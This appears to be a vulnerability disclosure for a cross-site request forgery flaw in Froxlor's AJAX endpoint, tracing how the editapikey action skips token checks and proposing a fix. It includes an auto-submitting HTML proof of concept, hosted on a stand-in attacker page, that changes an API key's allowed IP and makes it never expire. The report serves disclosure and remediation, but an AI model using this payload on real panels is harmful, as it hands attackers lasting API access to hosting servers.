// lib/ajax.php:26-47
namespace Froxlor;

use FroxlorAjaxAjax;

require once dirname( DIR ) . '/vendor/autoload.php';
require once dirname( DIR ) . '/lib/userdata.inc.php';
require once dirname( DIR ) . '/lib/functions.php';
require once dirname( DIR ) . '/lib/tables.inc.php';

// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();

const AREA = 'admin';
require  DIR  . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369

// lib/Froxlor/Ajax/Ajax.php:54-61
public function  construct()
{
  $this->action = Request::any('action'); // <-- User-controlled from GET/POST
  $this->theme = Request::any('theme', 'Froxlor');

  UI::sendHeaders();    // Starts session, sets security headers
  UI::sendSslHeaders();   // HSTS headers
  // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}

// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
  $this->userinfo = $this->getValidatedSession(); // Only checks: isset($ SESSION['userinfo'])
  // MISSING: CSRF token validation before routing
  // Comparison: init.php lines 363-369 WOULD check here:
  //  if (in array($ SERVER['REQUEST METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
  //    $current token = Request::post('csrf token', ...);
  //    if ($current token != CurrentUser::getField('csrf token')) { ERROR; }
  //  }

  switch ($this->action) {
    case 'editapikey':
      return $this->editApiKey();  // <-- State-changing operation, no CSRF guard
    case 'updatetablelisting':
      return $this->updateTablelisting(); // <-- Also POST, also no CSRF
    // ... other cases
  }
}

// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
  if (CurrentUser::hasSession() == false) {
    throw new Exception("No valid session");
  }
  return CurrentUser::getData();
  // hasSession() implementation (CurrentUser.php:47-50):
  //  return !empty($ SESSION) && !empty($ SESSION['userinfo']);
  // This ONLY verifies a session exists.
  // It does NOT verify the request origin or CSRF token.
}

// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
  // All three parameters come from attacker-controlled POST body:
  $keyid = Request::post('id', 0);          // Source: $ POST['id']
  $allowed from = Request::post('allowed from', ""); // Source: $ POST['allowed from']
  $valid until = Request::post('valid until', "");  // Source: $ POST['valid until']

  // ... IP format validation (not security-relevant for CSRF) ...

  // SINK: Direct database mutation
  $upd stmt = Database::prepare("
    UPDATE `api keys` SET
    `valid until` = :vu, `allowed from` = :af
    WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
  ");
  Database::pexecute($upd stmt, [
    'keyid' => $keyid,
    'af' => $allowed from,   // Attacker's IP written here
    'vu' => $valid until db,  // -1 = never expires
    'aid' => $this->userinfo['adminid'],
    'cid' => $cid
  ]);
  return $this->jsonResponse(['allowed from' => $allowed from, 'valid until' => $valid until]);
}

// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf token:
$.ajax({
  url: "lib/ajax.php?action=editapikey",
  type: "POST",
  dataType: "json",
  data: {
    id: akid,
    allowed from: this.val(),
    valid until: $('div[data-entry="' + akid + '"] #valid until').val()
    // NOTE: No csrf token field here — the backend doesn't require it
  },
  // ...
});

[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html

  <form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
     method="POST">
   <input type="hidden" name="id" value="1">
   <input type="hidden" name="allowed from" value="ATTACKER IP">
   <input type="hidden" name="valid until" value="-1">
  </form>
  <script>document.getElementById('csrf').submit();</script>

    │
    ▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
 - Victim has an active session at https://froxlor.example.com
 - Session cookie: PHPSESSID=<valid>, SameSite=Lax
    │
    ▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
 - Cookie behavior depends on SameSite policy (see below)
    │
    ▼
[Server: lib/ajax.php]
 → require userdata.inc.php, functions.php, tables.inc.php
 → (new Ajax)->handle()
    │
    ▼
[Server: Ajax:: construct()] (Ajax.php:54-61)
 → $this->action = 'editapikey' (from GET query string)
 → UI::sendHeaders() → session start()
 → NO CSRF CHECK
    │
    ▼
[Server: Ajax::handle()] (Ajax.php:66-68)
 → getValidatedSession() → CurrentUser::hasSession() → TRUE
  (session cookie was sent with request)
 → NO CSRF CHECK before routing
    │
    ▼
[Server: Ajax::editApiKey()] (Ajax.php:257-315)
 → $keyid = 1 (from POST)
 → $allowed from = 'ATTACKER IP' (from POST)
 → $valid until db = -1 (from POST, parsed)
 → UPDATE api keys SET allowed from='ATTACKER IP', valid until=-1 WHERE id=1
    │
    ▼
[Impact] API key #1 now allows connections from ATTACKER IP, never expires

// lib/Froxlor/UI/Panel/UI.php:118-125
session set cookie params([
  'path' => '/',
  'domain' => self::getCookieHost(),
  'secure' => self::requestIsHttps(),  // FALSE on HTTP deployments
  'httponly' => true,
  'samesite' => 'Lax'
]);
session start();

<!-- csrf poc.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF PoC - Froxlor AJAX Endpoint</title>
</head>
<body>
  <h1>Cross-Site Request Forgery Proof of Concept</h1>
  <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>
  <p>If you see this page, the form has auto-submitted.</p>

  <!-- This form auto-submits to modify API key properties -->
  <form id="csrf-form"
     action="http://froxlor.example.com/lib/ajax.php?action=editapikey"
     method="POST">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="allowed from" value="10.99.99.99">
    <input type="hidden" name="valid until" value="">
    <!-- empty valid until = -1 (never expires) -->
  </form>

  <script>
    // Auto-submit on page load
    document.addEventListener('DOMContentLoaded', function() {
      document.getElementById('csrf-form').submit();
    });
  </script>
</body>
</html>

id | allowed from | valid until
1 |       | 1735689600

id | allowed from  | valid until
1 | 10.99.99.99  | -1

// lib/ajax.php — Refactored
const AREA = 'ajax';
require  DIR  . '/init.php';

use FroxlorAjaxAjax;

try {
  echo (new Ajax)->handle();
} catch (Exception $e) {
  header("Content-Type: application/json");
  echo FroxlorApiResponse::jsonErrorResponse($e->getMessage(), 500);
}

// lib/Froxlor/Ajax/Ajax.php

public function handle()
{
  $this->userinfo = $this->getValidatedSession();

+  // CSRF Protection — mirror init.php:363-369
+  if (in array($ SERVER['REQUEST METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
+    $token from request = Request::post('csrf token',
+      $ SERVER['HTTP X CSRF TOKEN'] ?? null);
+    $stored token = $this->userinfo['csrf token'] ?? '';
+    if (empty($token from request) || !hash equals($stored token, $token from request)) {
+      return $this->errorResponse('CSRF validation failed', 403);
+    }
+  }

  switch ($this->action) {
    // ... existing cases unchanged
  }
}

// templates/Froxlor/assets/js/jquery/apikeys.js
$.ajax({
  url: "lib/ajax.php?action=editapikey",
  type: "POST",
  dataType: "json",
  data: {
    id: akid,
    allowed from: this.val(),
    valid until: $('div[data-entry="' + akid + '"] #valid until').val(),
+    csrf token: $('meta[name="csrf-token"]').attr('content')
  },
  // ...
});

<meta name="csrf-token" content="{{ csrf token }}">